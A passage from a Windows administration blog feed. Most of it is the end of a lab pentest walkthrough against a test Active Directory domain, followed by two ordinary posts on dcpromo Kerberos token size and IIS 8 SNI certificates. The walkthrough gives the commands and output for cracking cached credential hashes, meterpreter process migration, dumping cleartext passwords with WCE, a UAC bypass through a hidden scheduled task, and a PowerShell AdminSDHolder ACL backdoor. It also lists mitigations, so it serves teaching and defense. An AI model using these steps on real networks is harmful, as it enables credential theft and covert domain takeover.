[*] Obtaining boot key&#8230;<br />
[*] Obtaining Lsa key&#8230;<br />
[*] Trying &#8216;Vista&#8217; style&#8230;<br />
[*] Vista compatible client<br />
[*] Obtaining LK$KM&#8230;<br />
[*] Dumping cached credentials&#8230;<br />
[*] John the Ripper format:<br />
<font color="red"> srvadm:9ea326b1b8161510713bb3ff48d3ff44::</font><br />
<font color="red"> domainadm:08f5fb57d58e5cb717bdccf1ae06fb21::</font><br />
<font color="red">user0001:6d9bd71cfe5023ae976f5622bb299c83::</font><br />
[*] <font color="red">Hash are in MSCACHE_VISTA format. (mscash2)</font></p></blockquote>
<p>We will try to crack the password hashes retrieved on both machines <em>ldap389-srv2003</em> and <em>ldap-srv2008</em> offline with <a href="http://en.wikipedia.org/wiki/John_the_Ripper">John the ripper</a>.</p>
<p>Those hashes are computed with the following cryptographic algorithms:</p>
<ul>
<li>Windows 2003, format mscash : MD4(MD4(password) + username)</li>
<li>Windows 2008, format mscash2 : PKCS#5(MD4(MD4(password) + username))</li>
</ul>
<p>Only <em>cached logons</em> password hashes having a weak password can be broken in a reasonable amount of time, for more information on the subject read this <a href="http://moyix.blogspot.fr/2008/02/cached-domain-credentials.html">article</a>:  </p>
<pre lang="bash">cd /pentest/passwords/john

'./john --format=mscash hash-ldap389-srv2003.txt'
Loaded 2 password hashes with 2 different salts (M$ Cache Hash MD4 [32/32])
Remaining 1 password hashes with 1 different salts
'user0002	(password)'
Session aborted

'./john --format=mscash2 hash-ldap389-srv2008.txt'
Loaded 3 password hashes with 3 different salts (M$ Cache Hash 2 (DCC2) PBKDF2-HMAC-SHA-1 [128/128 SSE2 4x])
' user0001         (user0001)'
guesses: 1  time: 0:00:00:18 3.04% (2) (ETA: Sun Oct 28 18:06:57 2012)  c/s: 704  trying: knight - sierra
Session aborted</pre>
<p>The credentials user0002/password and user0001/user0001 were cracked easily but those accounts are just domain users <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f641.png" alt="🙁" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Check group membership with the following command:</p>
<pre lang="bash">net user /DOMAIN %USERNAME%</pre>
<p>In chapter <strong>1)scanning</strong> we discovered that <em>ldap389-srv2008</em> might have Remote Desktop Services enabled because the port 3389 was open. It means that some other users might have an open session on the machine at this moment. Let&#8217;s have a look at the running processes with the PS command:</p>
<pre lang="bash">meterpreter > ps
3028  884   dwm.exe               x86_64  2           LDAP389\domainadm             C:\Windows\System32\dwm.exe
meterpreter > shell
Process 1112 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
 
C:\Windows\system32>net user /DOMAIN domainadm
The request will be processed at a domain controller for domain ldap389.local.
 User name                    domainadm
Full Name                    domainadm
Comment                      
Users comment               
Country code                 000 (System Default)
Account active               Yes
Account expires              Never
 
Password last set            10/25/2012 8:17:21 PM
Password expires             12/6/2012 8:17:21 PM
Password changeable          10/26/2012 8:17:21 PM
Password required            Yes
User may change password     Yes
 
Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   10/28/2012 3:20:31 PM
 
Logon hours allowed          All
 
Local Group Memberships      
'Global Group memberships     *Domain Admins        *Domain Users'         
The command completed successfully.
C:\Windows\system32>cd /d c:\
cd /d c:\
c:\>mkdir c:\tools
mkdir c:\tools
c:\> exit
meterpreter>migrate 3028
[*] Migrating to 3028...
[*] Migration completed successfully.
</pre>
<p>The <a href="http://www.howtogeek.com/howto/windows-vista/what-is-dwmexe-and-why-is-it-running/">dwm.exe</a> (id 3028) process is running under the &#8220;LDAP389\domainadm&#8221; account, using the <em>netuser</em> command tells us that this user is a domain administrator <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> We migrate the payload to this process and there you go: Your shell is running with the domain admin privileges&#8230; We also created a directory c:\tools, we will upload in this folder <a href="http://www.ampliasecurity.com/research/wcefaq.html">Windows Credential Editor</a>, this tool allows you to read clear text passwords stored in memory by the lsass.exe process. With that tool you can retrieve clear text password of the users having a TS session opened on the server or the clear text password of the accounts configured to run a service on the machine: </p>
<pre lang="bash">meterpreter>upload wce.exe c:\\tools
meterpreter > shell
Process 1112 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
C:\Windows\system32>cd /d c:\tools
C:\tools>wce -w
wce -w
WCE v1.3beta (X64) (Windows Credentials Editor) - (c) 2010,2011,2012 Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com)
Use -h for help.
'domainadm\LDAP389:St@giaire-P@pam@man12'
LDAP389-2008$\LDAP389:0(v5K,[L0!m$42m9/e#=&amp;fh-NPROjoUN1Wp#s0uI D2*49WbyLS..&gt;cB7jbQg5y`s/-l*TR,^Ym)9*dwyV2T9`YGPxR MEYvU'qknb]?f.a9GKWzCfF"</pre>
<p>At this point we can consider that the exploitation phase is over! Some similar tools exist, they are presented in this <a href="http://computer-forensics.sans.org/blog/2012/03/09/protecting-privileged-domain-accounts-disabling-encrypted-passwords">article</a>. </p>
<p>A last place where you can retrieve clear text passwords is the LSA Secrets. They are stored in registry like the <em>cached logons</em>: Under HKLM\SECURITY\Policy\Secrets\, if a service runs under a domain account it is a key named _SC_ServiceName. For more information read this <a href="http://moyix.blogspot.fr/2008/02/decrypting-lsa-secrets.html">post</a>, you can also decrypt LSA secrets with PowerShell thanks to this <a href="http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/06/use-powershell-to-decrypt-lsa-secrets-from-the-registry.aspx">script</a>.</p>
<p>We will now describe how to mitigate these kind of attacks:</p>
<ol>
<li>Patch your systems! You might want to setup a validation process, read <a href="http://www.grouppolicy.biz/2011/06/best-practices-group-policy-for-wsus">this post</a> if you want to use GPOs and WSUS</li>
<li>Do not use the same local admin account for all your servers (cf. pass the hash technique). Or use GPO setting &#8220;Deny access to this computer from the network&#8221; for local the admin account in order to prevent PtH attacks with this account</li>
<li>Use an appropriate password policy: Password must meet complexity requirements and expire. (cf. offline cracking). Use account lockout policy</li>
<li>Set the <em><a href="http://technet.microsoft.com/en-us/magazine/2006.08.securitywatch.aspx">LMCompatibilityLevel</a></em> value on your domain the highest you can.</li>
<li>Set up a <a href="http://technet.microsoft.com/en-us/library/cc755473%28v=ws.10%29.aspx"><em>cached logons</em> count</a> of 0 on your servers and desktop computers, of 1 on your laptops. However do not apply this setting on your <a href="http://support.microsoft.com/kb/827885/en-us">cluster</a> servers.</li>
<li>Revoke the <em>&#8220;<a href="http://technet.microsoft.com/en-us/library/cc976527.aspx">debug programs</a>&#8220;</em> right for the local administrators group on your machines. Grant this right to a restricted AD group. Be aware that the cluster service needs this right <a href="http://technet.microsoft.com/en-us/library/dd354019%28v=ws.10%29.aspx">to run properly</a>.</li>
<li>Use <a href="http://blogs.technet.com/b/askds/archive/2009/09/10/managed-service-accounts-understanding-implementing-best-practices-and-troubleshooting.aspx">MSA</a> under Windows 7/2008 or <a href="http://technet.microsoft.com/en-us/library/hh831451.aspx">gMSA</a> under Windows 8/2012 in order to run services with domain accounts, instead of regular domain accounts for which you never change the password. Furthermore an MSA cannot perform an <a href="http://technet.microsoft.com/en-us/library/cc780332(v=ws.10).aspx">interactive logon</a>.</li>
<li>Automatically log off disconnected TS sessions via <a href="http://technet.microsoft.com/en-us/library/cc758177%28v=ws.10%29.aspx">GPO</a>: This avoids having TS sessions remaining on a server, and as a consequence your clear text password stored in the server&#8217;s memory.</li>
<li>An employee who is a domain administrator should have three accounts: One standard account in order to access to his Email and write documents, one account for administrating servers: This account is not a domain administrator (use <a href="https://www.ldap389.info/en/2010/05/12/restricted-groups-policy/">restricted group policies</a> to define an AD group which is member of the local administrator group). Finally one domain administrator account, this account performs logons only against DCs and an AD Administration console, you should limit as much as possible the machines where the domain administrator logs on and regularly analyse those machine&#8217;s <a href="http://www.sans.org/security-resources/idfaq/logging-windows.php">security eventlog</a>.</li>
<li>Try to apply the principle of <a href="http://en.wikipedia.org/wiki/Principle_of_least_privilege">least privilige</a> as much as you can when creating an AD account</li>
</ol>
<p>In order to have more details of some of the mitigation processes I described, I suggest you read this SANS <a href="http://www.sans.org/reading_room/whitepapers/testing/pass-the-hash-attacks-tools-mitigation_33283">document</a>.</p>
<p>Now we are domain admin and the exploitation phase is over we will see how to maintain access discreetly on this test domain.</p>
<p><strong><u>3) MAINTAIN ACCESS:</u></strong></p>
<p>In order to manipulate AD objects more easily it could be good to have the <em>RSAT-AD-PowerShell</em> feature installed on the <em>ldap389-srv2008</em> machine. To install this feature we will upload the <em>Install-ADDS-PSH.ps1</em> script in our c:\tools directory and launch the script for the meterpreter shell:</p>
<blockquote><p>c:\tools>powershell.exe -f install-ADDS-Psh.ps1<br />
powershell.exe -f install-ADDS-Psh.ps1<br />
Add-WindowsFeature : <font color="red">Because of security restrictions imposed by User Account Control, you must run Add-WindowsFeature in a Windows PowerShell session opened<br />
 with elevated rights</font>. To do this, right-click the Windows PowerShell or Command<br />
 Prompt Start menu object that you are using to start your Windows PowerShell s<br />
 essions, and then click Run as administrator.<br />
 At C:\tools\install-ADDS-Psh.ps1:2 char:19<br />
 + add-windowsfeature <<<< RSAT-AD-PowerShell
 + CategoryInfo : PermissionDenied: (:) [Add-WindowsFeature], Exce
 ption
 + FullyQualifiedErrorId : NotAdministrator,Microsoft.Windows.ServerManager
 .Commands.AddWindowsFeatureCommand
</p></blockquote>
<p>Here is the Powershell script:</p>
<pre lang="Powershell">import-module servermanager
add-windowsfeature RSAT-AD-PowerShell</pre>
<p>The <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa511445.aspx">UAC</a> blocks the installation of the feature, and we want to keep using the meterpreter in order to remain discreet. The workaround is to create a scheduled task named <em>InstallPSH</em> with the meterpreter shell running under SYSTEM on the server, run the task and delete it: </p>
<pre lang="Bash">
meterpreter > shell
Process 1980 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
 C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>schtasks.exe /create /TN InstallPSH /XML c:\tools\PSH.xml
C:\Windows\system32>schtasks.exe /run /I /TN InstallPSH
C:\Windows\system32>schtasks.exe /delete /TN InstallPSH /F</pre>
<p>The <a href="http://jon.netdork.net/2011/03/10/powershell-and-importing-xml-scheduled-tasks/">scheduled task settings are imported</a> from an XML file uploaded in c:\tools\PSH.xml. The <em>RunLevel</em> section allows you to bypass the UAC</p>
<pre lang="XML"><?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>2012-10-28T16:53:11.6978602</Date>
    <Author>TOTO</Author>
  </RegistrationInfo>
  <Triggers>
    <TimeTrigger>
      <StartBoundary>2010-10-28T16:50:57.9114026</StartBoundary>
      <Enabled>true</Enabled>
    </TimeTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <UserId>S-1-5-18</UserId>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>false</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>true</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>P3D</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>powershell.exe</Command>
      <Arguments>-f c:\tools\install-ADDS-Psh.ps1</Arguments>
    </Exec>
  </Actions>
</Task></pre>
<p>Once the <em>RSAT-AD-PowerShell</em> feature is installed we can migrate with the meterpreter to a process running under the <em>ldap389\domainadm</em> account and launch Powershell scripts with the ADDS cmdlets <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> </p>
<p>One obvious solution to maintain the access would be to create a new account member of the domain administrators group and set up password never expires on that account. But this solution is not really discreet because the members of this group are generally monitored.</p>
<p>Instead we will modify the ACL of the <a href="http://www.frickelsoft.net/blog/?p=247">AdminSDHolder</a> object, and grant modify rights for the user0001/user0001 account we cracked during the <strong>2)exploitation</strong> phase. This account is modified so that its password never expires, generally a user will never complain or report this to the IT department <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p>So why modify this particular object in AD? The <em>AdminSDHolder</em> object has a unique ACL, which is used to control the permissions of built-in privileged Active Directory groups and their members, for those objects the <em>adminCount</em> attribute equals 1. If this protection process finds that security is different on the protected object than on the AdminSDHolder object, it will force AdminSDHolder’s ACL on it.</p>
<p>The domain administrators group and the <em>ldap389\domainadm</em> account are protected objects, so if we modify the <em>AdminSDHolder</em> ACL, the ACL will be also modified on those two objects:</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2012/11/adminSDHolder.png" rel="lightbox[2044]"><img loading="lazy" decoding="async" src="https://www.ldap389.info/wp-content/uploads/2012/11/adminSDHolder-300x161.png" alt="" title="adminSDHolder" width="300" height="161" class="aligncenter size-medium wp-image-1991" srcset="https://www.ldap389.info/wp-content/uploads/2012/11/adminSDHolder-300x161.png 300w, https://www.ldap389.info/wp-content/uploads/2012/11/adminSDHolder-1024x550.png 1024w, https://www.ldap389.info/wp-content/uploads/2012/11/adminSDHolder.png 1292w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>In order to set &#8220;password never expires&#8221; for the test0001 account and add the permissions for this account on the <em>AdminSDHolder</em> object we use the <em>hack-ADDS-psh.ps1</em> script, this <a href="http://bsonposh.com/archives/289">post</a> helped me to play with ACLs:</p>
<pre lang="Powershell">
import-module Activedirectory
get-aduser user0001 | set-aduser -PasswordNeverExpires $true
 
$obj = [ADSI]"LDAP://CN=AdminSDHolder,CN=System,DC=ldap389,DC=local"
 
$sid = (get-aduser user0001).sid
$aceOne = New-Object System.DirectoryServices.ActiveDirectoryAccessRule ($sid, 'CreateChild, DeleteChild, Self, WriteProperty, ExtendedRight, GenericRead, WriteDacl, 

WriteOwner', 'Allow', (New-Object GUID), 'None')
$obj.psbase.ObjectSecurity.AddAccessRule($aceOne)
$obj.psbase.CommitChanges()
 
$acl = $obj.psbase.ObjectSecurity
$acl.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) | where{$_.IdentityReference -eq $sid}
</pre>
<p>Just launch the script under the meterpreter shell attached to a process running under the <em>ldap389\domainadm</em> account:</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2012/11/SetadminSDHolder.png" rel="lightbox[2044]"><img loading="lazy" decoding="async" src="https://www.ldap389.info/wp-content/uploads/2012/11/SetadminSDHolder-300x133.png" alt="" title="SetadminSDHolder" width="300" height="133" class="aligncenter size-medium wp-image-1994" srcset="https://www.ldap389.info/wp-content/uploads/2012/11/SetadminSDHolder-300x133.png 300w, https://www.ldap389.info/wp-content/uploads/2012/11/SetadminSDHolder.png 641w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>Voila! You can modify the domain admins group without being a domain admin yourself. So I suggest you monitor the ACL of the <em>AdminSDHolder</em> object, in addition to the traditional group membership auditing. </p>
<p><u>Bibliography:</u><br />
<a href="http://www.syngress.com/hacking-and-penetration-testing/The-Basics-of-Hacking-and-Penetration-Testing/">Syngress:</a> The basics of hacking and penetration testing.<br />
<a href="http://www.microsoft.com/learning/en/us/book.aspx?id=11841&#038;locale=en-us">MS Press</a>: Windows Server 2008 Security Resource Kit.<br />
<a href="http://www.sans.org/course/network-penetration-testing-ethical-hacking">SANS</a>: SEC560: Scanning, Exploitation, Password Attacks.<br />
<a href="http://www.informit.com/store/protect-your-windows-network-from-perimeter-to-data-9780321336439">InformIT</a>: Protect Your Windows Network: from Perimeter to Data.</p>
<p>Special thanks to Regre$$ion $oftware for the long discussions and knowledge sharing during our coffee breaks <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p><u>Update 07/02/2013:</u> Use GPO &#8220;Deny access to this computer from the network&#8221; for local admin accounts to mitigate PtH attacks using this account. Thanks for the tip <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f609.png" alt="😉" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.ldap389.info/en/2012/12/10/pentesting-active-directory-hacking/feed/</wfw:commentRss>
			<slash:comments>3</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2044</post-id>	</item>
		<item>
		<title>Dcpromo: the system detected a possible attempt to compromise security</title>
		<link>https://www.ldap389.info/en/2012/10/07/dcpromo-the-system-detected-a-possible-attempt-to-compromise-security-maximum-token-size-kerberos/</link>
					<comments>https://www.ldap389.info/en/2012/10/07/dcpromo-the-system-detected-a-possible-attempt-to-compromise-security-maximum-token-size-kerberos/#comments</comments>
		
		<dc:creator><![CDATA[ldap389]]></dc:creator>
		<pubDate>Sat, 06 Oct 2012 23:11:34 +0000</pubDate>
				<category><![CDATA[gpo @en]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[dcpromo @en]]></category>
		<category><![CDATA[kerberos @en]]></category>
		<category><![CDATA[login @en]]></category>
		<guid isPermaLink="false">https://www.ldap389.info/?p=1909</guid>

					<description><![CDATA[When demoting a domain controller the following error message appeared: The operation failed because: Managing the network session with dc-srv2.ldap389.local failed. &#8220;The system detected a possible attempt to compromise security. Please ensure that you can contact the server that authenticated you.&#8221; Having a look at the dcpromo.log did not tell us much: 10/04/2012 11:24:02 [INFO] [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>When demoting a domain controller the following error message appeared:</p>
<blockquote><p>The operation failed because: Managing the network session with <em>dc-srv2.ldap389.local</em> failed.<br />
&#8220;The system detected a possible attempt to compromise security. Please ensure that you can contact the server that authenticated you.&#8221;</p></blockquote>
<p><a href="https://www.ldap389.info/wp-content/uploads/2012/10/dcpromo2.jpg" rel="lightbox[1909]"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-1898" title="dcpromo2" src="https://www.ldap389.info/wp-content/uploads/2012/10/dcpromo2-300x161.jpg" alt="" width="300" height="161" srcset="https://www.ldap389.info/wp-content/uploads/2012/10/dcpromo2-300x161.jpg 300w, https://www.ldap389.info/wp-content/uploads/2012/10/dcpromo2.jpg 966w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a><br />
<span id="more-1909"></span><br />
Having a look at the <a href="http://technet.microsoft.com/en-us/library/cc961809.aspx">dcpromo.log</a> did not tell us much:</p>
<blockquote><p>10/04/2012 11:24:02 [INFO] Error &#8211; Managing the network session with dc-srv2.ldap389.local failed (1265)<br />
10/04/2012 11:24:02 [ERROR] Failed to establish the session with dc-srv2.ldap389.local: 0x4f1<br />
10/04/2012 11:24:02 [INFO] The attempted domain controller operation has completed</p></blockquote>
<p>So we had a look at the eventlog, no errors regarding the dcpromo operation, but we noticed the following warning:</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2012/10/eventvwr2.jpg" rel="lightbox[1909]"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-1899" title="eventvwr2" src="https://www.ldap389.info/wp-content/uploads/2012/10/eventvwr2-300x207.jpg" alt="" width="300" height="207" srcset="https://www.ldap389.info/wp-content/uploads/2012/10/eventvwr2-300x207.jpg 300w, https://www.ldap389.info/wp-content/uploads/2012/10/eventvwr2.jpg 624w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>The event <a href="http://www.eventid.net/display-eventid-6-source-Kerberos-eventno-3894-phase-1.htm">ID 6 from source Kerberos</a> means the kerberos token size of the authenticated user is too large: The solution was to remove this administrator account from a few groups in order to decrease its kerberos token size, after that operation the error message disappeared and we were able to successfully demote the domain controller.</p>
<p>Under Windows 2008/7 the default maximum token size is 12000 bytes, under Windows 2012/8 it is 48000 bytes. This default value can be modified by <a href="http://support.microsoft.com/kb/938118/en-us">GPO</a>, however before modifying this value it might be interesting to find out which maximum token size best fit your environment. To achieve this you can use the <a href="http://www.microsoft.com/en-us/download/details.aspx?id=1448">tokensz.exe</a> tool, but this can turn out to be a laborious task. Under Windows 2012/8 a new GPO setting allows you to generate warnings in the domain controllers eventlog when a large kerberos token is issued, you define the threshold yourself, by aggregating all those warnings you can define the right MaxTokenSize value for your environment, everything is explained in this <a href="http://blogs.technet.com/b/askds/archive/2012/09/12/maxtokensize-and-windows-8-and-windows-server-2012.aspx">AskDS</a> post.</p>
<p><a href="http://technet.microsoft.com/en-us/library/bb742516.aspx"><img loading="lazy" decoding="async" src="https://www.ldap389.info/wp-content/uploads/2012/10/kerberos-283x300.jpg" alt="" title="kerberos" width="283" height="300" class="aligncenter size-medium wp-image-1929" srcset="https://www.ldap389.info/wp-content/uploads/2012/10/kerberos-283x300.jpg 283w, https://www.ldap389.info/wp-content/uploads/2012/10/kerberos.jpg 302w" sizes="auto, (max-width: 283px) 100vw, 283px" /></a></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.ldap389.info/en/2012/10/07/dcpromo-the-system-detected-a-possible-attempt-to-compromise-security-maximum-token-size-kerberos/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1909</post-id>	</item>
		<item>
		<title>Windows server 2012: PFX Certificates and SNI feature under IIS 8.0</title>
		<link>https://www.ldap389.info/en/2012/08/22/windows-server-2012-pfx-certificate-import-export-sni-iis-8-pki-client-cmdlets/</link>
					<comments>https://www.ldap389.info/en/2012/08/22/windows-server-2012-pfx-certificate-import-export-sni-iis-8-pki-client-cmdlets/#respond</comments>
		
		<dc:creator><![CDATA[ldap389]]></dc:creator>
		<pubDate>Wed, 22 Aug 2012 14:06:57 +0000</pubDate>
				<category><![CDATA[Public Key Infrastructure @en]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[IIS @en]]></category>
		<category><![CDATA[netsh @en]]></category>
		<category><![CDATA[pki @en]]></category>
		<category><![CDATA[PowerShell @en]]></category>
		<category><![CDATA[sni @en]]></category>
		<guid isPermaLink="false">https://www.ldap389.info/?p=1881</guid>

					<description><![CDATA[Unless you’ve been living underground for the last few weeks, you should have already heard that Windows server 2012 RTM is available :-).  Last time I blogged about this operating system it was still named Windows server 8 Developer Preview. I will describe in this post how IIS 8 supports multiple SSL website certificates on [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Unless you’ve been living underground for the last few weeks, you should have already heard that Windows server 2012 RTM is available :-).  Last time <a href="https://www.ldap389.info/en/2012/01/26/windows-8-install-configure-adcs-pki-powershell/">I blogged</a> about this operating system it was still named <em>Windows server 8 Developer Preview</em>. I will describe in this post how IIS 8 supports multiple SSL website certificates on a single IP and port, this feature is called <em><a href="http://en.wikipedia.org/wiki/Server_Name_Indication">Server Name Indication</a></em> (SNI), and supported under Apache <a href="http://www.techrepublic.com/blog/opensource/configure-apache-to-support-multiple-ssl-sites-on-a-single-ip-address/987">since version 2.2.12</a>&#8230; I will also talk about the new features provided in Windows server 2012 for exporting/importing certificates in the PFX file format, in order to deploy certificates on a Webserver farm.<br />
<span id="more-1881"></span></p>
<p>To configure multiple websites on IIS 8 with the SNI feature, I suggest you read <a href="http://learn.iis.net/page.aspx/1096/iis-80-server-name-indication- sni-ssl-scalability/">this article</a>, which is a step by step configuration guide. We installed one IIS 8 server and deployed two certificates in the <em>Web Hosting</em> computer&#8217;s certificate store: The subject of the certificate issued by our internal CA <em>LDAP389-CA</em> is <em>ldap389.info</em>. The subject of the second certificate issued by an external CA <em>External-CA </em>is c<em>ustomer.info</em>.</p>
<p>We checked the SSL bindings of our websites with the <a href="http://msdn.microsoft.com/en-us/library/ms733791.aspx">netsh</a> command line utility:</p>
<pre lang="powershell">netsh http show sslcert</pre>
<p>On the left hand side of the following picture the <em>Web Hosting</em> computer&#8217;s certificate store is displayed, on the right hand side you can see the result of the netsh command: Both certificates are configured on the same port, both aliases <em>ldap389.info</em> and <em>customer.info</em> share the same IP address:</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2012/08/SNIWebHostingStore.png" rel="lightbox[1881]"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-1850" title="SNIWebHostingStore" src="https://www.ldap389.info/wp-content/uploads/2012/08/SNIWebHostingStore-300x91.png" alt="" width="300" height="91" srcset="https://www.ldap389.info/wp-content/uploads/2012/08/SNIWebHostingStore-300x91.png 300w, https://www.ldap389.info/wp-content/uploads/2012/08/SNIWebHostingStore-1024x313.png 1024w, https://www.ldap389.info/wp-content/uploads/2012/08/SNIWebHostingStore.png 1340w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>On the client side, depending on the URL you typed in your browser, the appropriate certificate is selected as long as your client supports SNI. For MS products it means at least Windows Vista and IE 7.0 (no support under Windows XP, whatever the IE version you are using):</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2012/08/iexplore.png" rel="lightbox[1881]"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-1853" title="iexplore" src="https://www.ldap389.info/wp-content/uploads/2012/08/iexplore-300x164.png" alt="" width="300" height="164" srcset="https://www.ldap389.info/wp-content/uploads/2012/08/iexplore-300x164.png 300w, https://www.ldap389.info/wp-content/uploads/2012/08/iexplore.png 958w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>Once the first web server of our farm is configured, we want to automate the certificate import process on the remaining webservers. In order to perform this task we will use the <em><a href="http://technet.microsoft.com/library/hh848636.aspx">PKI client Cmdlets</a></em> introduced in Windows server 2012 and Windows 8. With IIS 8, it is also possible to use a centralized certificate store for you webserver farm, for the step by step configuration read this <a href="http://learn.iis.net/page.aspx/1091/iis-80-centralized-ssl-certificate-support-ssl-scalability-and-manageability/">article</a>. The major constraint of this feature is that all your PFX files must share the same protection password. So we will stick with the old fashioned way: An export/import of each certificate in PFX format.</p>
<p>Let&#8217;s do this task with the GUI, in order to see what new features are available with Windows server 2012 and Windows 8: First, we export the certificate in PFX format (with its private key):</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2012/08/export1.png" rel="lightbox[1881]"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-1855" title="export1" src="https://www.ldap389.info/wp-content/uploads/2012/08/export1-300x202.png" alt="" width="300" height="202" srcset="https://www.ldap389.info/wp-content/uploads/2012/08/export1-300x202.png 300w, https://www.ldap389.info/wp-content/uploads/2012/08/export1.png 770w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>When the traditonal dialog box asking us to protect the PFX file with a password appears, we notice a new feature: You can choose instead to protect the file with an AD user or group, only the user or members of the group you selected will be allowed to access the certificate&#8217;s private key, you do not need anymore to protect the file with a password :-). We choose to grant the access to the PFX file to a group named <em>LDAP389-CERTIMPORTERS</em>, only the members of this group will be allowed to import the certificate with its private key to another computer:</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2012/08/export4.png" rel="lightbox[1881]"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-1857" title="export4" src="https://www.ldap389.info/wp-content/uploads/2012/08/export4-300x284.png" alt="" width="300" height="284" srcset="https://www.ldap389.info/wp-content/uploads/2012/08/export4-300x284.png 300w, https://www.ldap389.info/wp-content/uploads/2012/08/export4.png 549w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>This feature is only available if your webservers authenticate against a Windows server 2012 domain controller. Now, let&#8217;s import the certificate into another webserver, with an account member of the <em>LDAP389-CERTIMPORTERS</em> group: The password is not required, and the import is done automatically:</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2012/08/import1.png" rel="lightbox[1881]"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-1859" title="import1" src="https://www.ldap389.info/wp-content/uploads/2012/08/import1-300x291.png" alt="" width="300" height="291" srcset="https://www.ldap389.info/wp-content/uploads/2012/08/import1-300x291.png 300w, https://www.ldap389.info/wp-content/uploads/2012/08/import1.png 538w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>Now let&#8217;s perform the same task with Powershell and the <em><a href="http://technet.microsoft.com/library/hh848636.aspx">PKI client Cmdlets</a></em>. First we use the <em><a href="http://technet.microsoft.com/en-us/library/hh848635.aspx">Export-PfxCertificate</a> </em> cmdlet in order to create the PFX file. We need to pipe the certificate object into the <em>Export-PfxCertificate</em> command. In order to retrieve the certificate object located in the <em>Web Hosting</em> computer&#8217;s certificate store you need to get its thumbprint, to retrieve this information just launch the follwing commands:</p>
<pre lang="powershell">cd Cert:\localmachine\webhosting
dir</pre>
<p><a href="https://www.ldap389.info/wp-content/uploads/2012/08/export5.png" rel="lightbox[1881]"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-1861" title="export5" src="https://www.ldap389.info/wp-content/uploads/2012/08/export5-300x65.png" alt="" width="300" height="65" srcset="https://www.ldap389.info/wp-content/uploads/2012/08/export5-300x65.png 300w, https://www.ldap389.info/wp-content/uploads/2012/08/export5.png 630w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
